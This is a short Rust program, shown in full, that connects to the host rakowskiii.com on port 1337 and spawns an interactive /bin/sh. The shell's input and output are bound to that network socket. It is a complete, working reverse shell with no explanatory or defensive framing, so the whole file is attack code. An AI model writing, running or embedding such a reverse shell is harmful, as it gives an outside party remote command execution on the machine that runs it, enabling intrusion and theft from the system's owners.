use std::process::{Command, Stdio}; use std::net::TcpStream; use std::os::unix::io::{AsRawFd, FromRawFd}; fn main() { let s = TcpStream::connect("rakowskiii.com:1337").unwrap(); let fd = s.as_raw_fd(); Command::new("/bin/sh") .arg("-i") .stdin(unsafe { Stdio::from_raw_fd(fd) }) .stdout(unsafe { Stdio::from_raw_fd(fd) }) .stderr(unsafe { Stdio::from_raw_fd(fd) }) .spawn() .unwrap() .wait() .unwrap(); }